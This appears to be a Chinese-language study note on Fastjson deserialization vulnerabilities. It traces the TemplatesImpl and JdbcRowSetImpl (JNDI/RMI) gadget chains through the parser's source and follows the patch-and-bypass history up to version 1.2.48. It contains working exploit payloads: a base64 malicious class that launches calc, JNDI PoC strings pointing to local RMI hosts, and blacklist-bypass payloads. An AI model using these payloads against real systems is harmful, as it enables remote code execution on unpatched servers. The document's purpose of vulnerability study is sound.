fastjson反序列化笔记
Fastjson反序列化漏洞基础
参考:
https://www.javasec.org/java-vuls/FastJson.html
https://www.yuque.com/tianxiadamutou/zcfd4v/rwx6sb
Fastjson简介
Fastjson
是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将 Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。Fastjson
在阿里巴巴大规模使用,在数万台服务器上部署,Fastjson在业界被广泛接受。在2012年被开源中国评选为最受欢迎的国产开源软件之一。出现安全问题影响范围很广。
API介绍
- 序列化:
String text = JSON.toJSONString(obj);
- 反序列化:
JSON.parseObject
返回JSONObject类型JSON.parse
返回实际类型对象
fastjson反序列化基础
Fastjson 使用
使用 Fastjson 无非是将类转为 json 字符串或解析 json 转为 JavaBean。
1. 将类转为 json
在这里我们最常用的方法就是 JSON.toJSONString()
,该方法有若干重载方法,带有不同的参数,其中常用的包括以下几个:
- 序列化特性:
com.alibaba.fastjson.serializer.SerializerFeature
,可以通过设置多个特性到FastjsonConfig
中全局使用,也可以在使用具体方法中指定特性。 - 序列化过滤器:
com.alibaba.fastjson.serializer.SerializeFilter
,这是一个接口,通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化。 - 序列化时的配置:
com.alibaba.fastjson.serializer.SerializeConfig
,可以添加特点类型自定义的序列化配置。
2. 将 json 反序列化为类
将 json 数据反序列化时常使用的方法为parse()
、parseObject()
、parseArray()
,这三个方法也均包含若干重载方法,带有不同参数:
- 反序列化特性:
com.alibaba.fastjson.parser.Feature
, - 类的类型:
java.lang.reflect.Type
,用来执行反序列化类的类型。 - 处理泛型反序列化:
com.alibaba.fastjson.TypeReference
。 - 编程扩展定制反序列化:
com.alibaba.fastjson.parser.deserializer.ParseProcess
,例如ExtraProcessor
用于处理多余的字段,ExtraTypeProvider
用于处理多余字段时提供类型信息。
先贴一下从大佬博客中拿来的早期版本的 fastjson 的框架图:
这里列举一些 fastjson 功能要点:
- 使用
JSON.parse(jsonString)
和JSON.parseObject(jsonString, Target.class)
,两者调用链一致,前者会在 jsonString 中解析字符串获取@type
指定的类,后者则会直接使用参数中的class。 - fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以
get
开头且第4位是大写字母、方法不能有参数传入、继承自Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong
、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以set
开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在com.alibaba.fastjson.util.JavaBeanInfo.build()
中。 - 使用
JSON.parseObject(jsonString)
将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。 - 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用
Feature.SupportNonPublicField
参数。 - fastjson 在为类属性寻找 get/set 方法时,调用函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略_|-
字符串,也就是说哪怕你的字段名叫_a_g_e_
,getter 方法为getAge()
,fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用_
和-
进行组合混淆。 - fastjson 在反序列化时,如果 Field 类型为
byte[]
,将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行 base64 解码,对应的,在序列化时也会进行 base64 编码。
Fastjson反序列化漏洞复现
Fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞,之后的版本引入了autoType的黑白名单机制。在Fastjson 1.2.22 — 1.2.24 版本的反序列化漏洞利用,主要有以下两种已知利用链
- TemplateImpl
- JNDI
用的这个大佬的代码
https://drops.blbana.cc/2020/04/01/Fastjson-TemplatesImpl-%E5%88%A9%E7%94%A8%E9%93%BE/
TemplatesImpl 利用链
限制条件
Feature.SupportNonPublicField
需要开启,因为_bytecodes
和 _outputProperties
两个关键属性是私有的+
复现
这边先改下fastjson环境
我们先把ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
注释了,这是后面版本用来利用的,这个放到后面讲
先生成class文件
然后执行
payload
1 | {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAMgoABwAkCgAlACYIACcKACUAKAcAKQoABQAkBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACNMY2MvYmxiYW5hL1RlbXBsYXRlc0ltcGwvRkpQYXlsb2FkOwEACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAsAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAHcGF5bG9hZAEAClNvdXJjZUZpbGUBAA5GSlBheWxvYWQuamF2YQwACAAJBwAtDAAuAC8BAARjYWxjDAAwADEBACFjYy9ibGJhbmEvVGVtcGxhdGVzSW1wbC9GSlBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAAMAAQADgANAA8ADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAUAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIADwAAAAQAAQAXAAEAEQAYAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAZAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGQAaAAIAAAABABsAHAADAA8AAAAEAAEAFwAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAcAAgAHQAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAQAAEAIgAAAAIAIw=="],'_name':'a.b','_tfactory':{},"_outputProperties":{ },"_name":"a","allowedProtocols":"all"} |
分析下PoC里的关键key:
- @type :用于存放反序列化时的目标类型,这里指定的是TemplatesImpl,Fastjson最终会按照这个类反序列化得到实例,因为调用了getOutputProperties方法,实例化了传入的bytecodes类,导致命令执行。需要注意的是,Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入
Feature.SupportNonPublicField
在parseObject中才能触发; - _bytecodes:继承
AbstractTranslet
类的恶意类字节码,并且使用Base64
编码 - _name:调用
getTransletInstance
时会判断其是否为null,为null直接return,不会进入到恶意类的实例化过程; - _tfactory:
defineTransletClasses
中会调用其getExternalExtensionsMap
方法,为null会出现异常; - outputProperties:漏洞利用时的关键参数,由于Fastjson反序列化过程中会调用其
getOutputProperties
方法,导致bytecodes
字节码成功实例化,造成命令执行。
漏洞分析
直接下断点跟一下
接下来我们就一步步进行分析
位置:JSON.parseObject()
311行左右
首先会创建默认的Json解析器parser,同时将我们的input作为输入进行传入
位置:DefaultJSONParser
构造函数 175行左右
跟进DefaultJSONParser
,会获取我们input中的第一个字符,然后进入if判断中,如果第一个字符是{
那么就将12赋值给lexer.token
位置:JSON.parseObject()
311行左右
继续回到parseObject函数中,调用parser的parserObject来解析我们传入的类
在第636行,getDeserializer()
会根据我们传入的type类型获取对应的反序列化器,跟进该函数
位置: ParserConfig.getDeserializer
305行左右
跟进getDeserializer
方法后,发现会根据我们传入的type在derializers中寻找对应的反序列化器。
derializers中存放着常见类和其对应的反序列化器(key-value形式),这里由于我们的type是Object.class所以是能够找到对应的反序列化器的,所以进入第一个if,直接返回找到的反序列化器
DefaultJSONParser.parse()
1305行左右
进入到switch,根据之前的token值进入对应的case,来到下面这个case处,这里new了一个JSON对象,然后利用DefaultJSONParser.parseObject()
对这个对象进行解析,此时fieleName为null,因为还没解析json字段中的内容
位置:DefaultJSONParser.parseObject()
205行左右
首先会对json进行一些规范的检测,然后就会判断{
下一个字符是不是 "
,由于json数据 {
后面就是"
所以我们继续往下看即可
继续往下看会有一个if判断,如果我们的key等于JSON.DEFAULT_TYPE_KEY
同时 没有开启Feature.DisableSpecialKeyDetect
就会进入判断,利用loadClass,加载我们的类对象
然后会根据我们之前加载的类,寻找对应的反序列化器
位置:ParserConfig.getDeserializer()
305行左右
跟进getDeserializer
函数,由于此时我们的type是class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
所以自然是找不到的,所以进入第二个if判断
位置:ParserConfig.getDeserializer()
327行左右
继续跟进getDeserializer
方法,在第360行处会经过一个黑名单处理,会获取我们的类名然后判断我们的类是否在黑名单中
经过之后会进行一系列的判断,由于TemplatesImpl类都不在if判断的条件范围内,所以会创建一个JavaBeanDeserializer
,我们跟进createJavaBeanDeserializer
这个函数
位置:ParseConfig.createJavaBeanDeserializer()
469行左右
跟进createJavaBeanDeserializer
函数,在第526行左右,发现调用了build函数,前面有讲过build
,在build中会利用反射获取类的信息然后存在beanInfo
进入到585行的if判断,进入到JavaBeanDeserializer
,我们继续跟进JavaBeanDeserializer
方法
JavaBeanDeserializer
构造函数 38行左右
将config
,JavaBeanInfo
传入到JavaBeanDeserializer
函数中
遍历beaninfo
中的sortedFields
,然后根据对应的属性创建对应的反序列化器,然后添加到sortedFieldDeserializerss
中
在第二个for循环中会根据fieldInfo
的名字调用getFieldDeserializer
函数在sortedFieldDeserializers
数组中寻找对应的反序列化器
getFieldDeserializer
就是一个查找的函数,找到了返回对应的反序列化器,没找到则返回null
ParserConfig.getDeserializer
大约466行
重新回到getDeserializer
函数,返回反序列化器
位置:DefaultJSONParser.parseObject()
大约368行
在都获取到了对应的反序列化器之后,正式开始进行反序列化
JavaBeanDeserializer.deserialze()
大约266行
在570行左右,对我们的类进行了实例化
JavaBeanDeserializer.parseField()
720行左右
在该方法中利用smartMatch对我们传入的属性进行了模糊匹配,跟进该函数
首先会利用getFieldDeserializer
寻找与key对应的反序列化器,如果找不到对应的则会判断是否属性是布尔类型(例:isName)
前半部分不是重点
重点来看后半部分,红框处将_替换为了空,即我们传入的_outputProperties
会在这里变成 outputProperties
然后调用getFieldDeserializer
,在sortedFieldDeserializers
中找到getOutputProperties
方法,并且进行返回
DefaultFieldDeserialier.parseField
调用与属性对应的反序列化器,对属性进行反序列化,将反序列化后的值赋值给value,然后进入setValue
此时method已为 getOutputProperties
具体后面就是,后面和CC链差不多就不进去了,参照大佬写的0.0
此时method已为 getOutputProperties
利用反射进行触发
位置:TemplatesImpl.getOutputProperties()
505行左右
位置:TemplatesImpl.getOutputProperties()
505行左右
然后就会调用getOutputProperties函数,然后getOutputProperties函数中会调用newTransformer()函数,跟进newTransformer函数
位置:TemplatesImpl.newTransformer()
481行左右
跟进getTransletInstance() 方法
位置:TemplatesImpl.getTransletInstance()
如果_class
等于null,进入defineTransletClasses函数,进行跟进
位置:TemplatesImpl.defineTransletClasses()
390行
在414行左右,会调用defineClass来加载字节码
位置:TemplatesImpl.getTransletInstance()
446行
在第455行处,对加载的类进行了实例化,然后触发了静态方法,从而触发了恶意命令执行
这个时候就走到了调用了
最后走到了执行命令
JdbcRowSetImpl利用链
JdbcRowSetImpl利用链有两种利用方式,都基于Bean Property类型的JNDI利用
RMI可以作为反序列化漏洞的入口(CVE-2017-3241),也可以利用RMI构造EXP实现远程代码执行
- JNDI + RMI
- JNDI + LDAP
漏洞类型
反序列化 + JNDI注入 引起命令执行
限制条件
Fastjson 1.2.22 —— 1.2.24,在1.2.25主要结合各种黑名单绕过使用。
JNDI类型PoC主要分类:
- 基于JNDI Bean Property类型(本篇主要分析)
- 基于JNDI Field类型
两种类型区别主要在于,Bean Property需要借助setter,getter方法触发;而Field类型没有这个限制
1 | String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}"; |
- @type:目标反序列化类名;
- dataSourceName:RMI注册中心绑定恶意服务;
- autoCommit:调用setAutoCommit方法,利用lookup方法加载远程对象。
复现
分析
和上面的一样,就不分析了,直接放大佬分析的了
触发点还是这里,利用反射触发setAutoCommit方法
进入 setAutoCommit 方法
然后进入了connect
函数方法,然后在connect
函数中,发现利用了jndi
,那么我们如果控制了 dataSourceName
就可以利用 JNDI 注入让客户端进行命令执行了,而这里dataSourceName
恰恰可以控制,所以此处远程加载了我们HTTP服务上的恶意class
从而弹了计算器
Fastjson的抗争史
1.2.25版本修复
官方修复文档 :https://github.com/alibaba/fastjson/wiki/enable_autotype
这里主要是从两个角度进行了修复
自从1.2.25 起 autotype 默认关闭
增加 checkAutoType 方法,在该方法中扩充黑名单,同时增加白名单机制
这里利用 IDEA 自带的代码比较来进行比对
跟进 checkAutoType 函数,在第一个红框处首先会进行一个白名单,如果类在白名单中则会直接进行加载,在经过白名单之后又会经过一个黑名单处理,如果我们的类在黑名单中,会直接抛出报错
同时在1.2.25中扩充了黑名单类
1 | "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework" |
1.2.25-1.2.41 绕过
由于在1.2.24修复中默认关闭了AutoType,所以这里我们要在代码中开启,不然会直接抛出错误
1 | public class FJPoC { |
发现在loadclass中,有两个判断,如果开头有 [ 或者 开头是L 结尾是 ; 那么就会去除,这里我们就可以尝试绕过
但是这里其实只有 [xxxxx;
才能进行绕过
1 | {\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true} |
通过源码断点分析,发现 L
开头并不会进行到 TypeUtils.loadClass()
这一步就会报错了
1 | Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/refObj", "autoCommit":true} |
1.2.42 绕过
在该版本中直接换成了哈希校验,不让我们知道黑名单中的类,同时我们来看红框处的代码
在该if中,对类的第一位和最后一位进行了哈希计算,如果第一位是 L
最后一位是 ;
的话就进行去除,但是可以看到这里其实只去除了一次,我们只需要利用常见的复写即可绕过
denyHashCodes 内容如下:
1 | -8720046426850100497L, -8109300701639721088L, -7966123100503199569L, -7766605818834748097L, -6835437086156813536L, -4837536971810737970L, -4082057040235125754L, -2364987994247679115L, -1872417015366588117L, -254670111376247151L, -190281065685395680L, 33238344207745342L, 313864100207897507L, 1203232727967308606L, 1502845958873959152L, 3547627781654598988L, 3730752432285826863L, 3794316665763266033L, 4147696707147271408L, 5347909877633654828L, 5450448828334921485L, 5751393439502795295L, 5944107969236155580L, 6742705432718011780L, 7179336928365889465L, 7442624256860549330L, 8838294710098435315L |
但是由于加密方法在源码中仍存在,所以我们可以通过哈希碰撞来得出黑名单中的类
1 | com.alibaba.fastjson.util.TypeUtils#fnv1a_64 |
目前github上已有项目 https://github.com/LeadroyaL/fastjson-blacklist
poc:
1 | {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://127.0.0.1:1099/refObj", "autoCommit":true} |
1.2.43 修复
在 1.2.43 中添加了对于LL
这种绕过方式的判断 ,由于之前的 [
那种类型在之前就会报错,所以这里用 [
是不行的
1.2.45 修复
黑名单绕过
1 | {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}} |
修复措施:
扩充黑名单
1.2.25 - 1.2.47 绕过 (通杀
这一块单独拿出来说一下,因为这里的利用思路和前面的不一样
在该payload中,可直接绕过checkAutoType,所以开或不开都可以成功触发
Poc:
RMI 还是上文的那个,所以这里就不重复放了
1 | { |
效果图:
绕过分析
在本方法中,主要是利用绕过checkAutoType中的黑名单机制来实现,可以看到这里if判断是 &&,这里的绕过方法就是让后面的那个判断为false,这样就可以绕过黑名单机制了
1 | com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject |
首先传入的是java.lang.Class,跟进checkAutoType函数
由于黑名单中并不存在java.lang.Class,所以顺利进行到下面的判断,在deserializers
中寻找对应typeName
的反序列化器,由于java.lang.Class 是默认的类所以汇找到对应的反序列化器
回到com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject
364行
继续往下看,发现利用反序列化器进行反序列化
跟进该方法 com.alibaba.fastjson.serializer.MiscCodec#deserialze
177行
继续往下看来到该方法的 231 行,会调用 com.alibaba.fastjson.parser.DefaultJSONParser#parser
方法来取出我们传入的恶意类
跟进看看
跟进com.alibaba.fastjson.parser.DefaultJSONParser#parser
,发现会获取我们传入的恶意类 ,并且进行返回
然后将返回的数值赋值给 objVal
在经过一系列的判断之后会赋值给 strVal
继续往下看,会有有一个关键判断,如果解析出来的clazz为java.lang.Class
,这里就会调用 com.alibaba.fastjson.util.TypeUtils#loadClass
来加载我们的恶意类
这也就是为什么传入的类一定要是java.lang.Class
的原因所在
跟进com.alibaba.fastjson.util.TypeUtils#loadClass
,注意这里默认cache为true,将恶意类缓存到mappings中
这里再来到 com.alibaba.fastjson.parser.DefaultJSONParser#checkAutoType
,由于不为TypeUtils.getClassFromMapping(typeName)
不为null,故绕过了黑名单校验,然后在if中取出了我们的恶意类
ps:这里为开启了AutoType 的情况,如果没有开启的话也可以触发,如果没有开启,则红框处的if就不会进入,自然也不会走黑名单,而是直接从mapping中获取
然后直接进行了返回
后面的就和之前的一样了,还是那条链 setvalue中触发,这里不多赘述了
1.2.48 修复
在1.2.48中把缓存默认设为false(屏幕太小只能截一部分裂开..
这样就无法进入该判断了
参考:
https://www.yuque.com/tianxiadamutou/zcfd4v/xehnw7#8ee945e5
https://drops.blbana.cc/2020/04/16/Fastjson-JdbcRowSetImpl%E5%88%A9%E7%94%A8%E9%93%BE/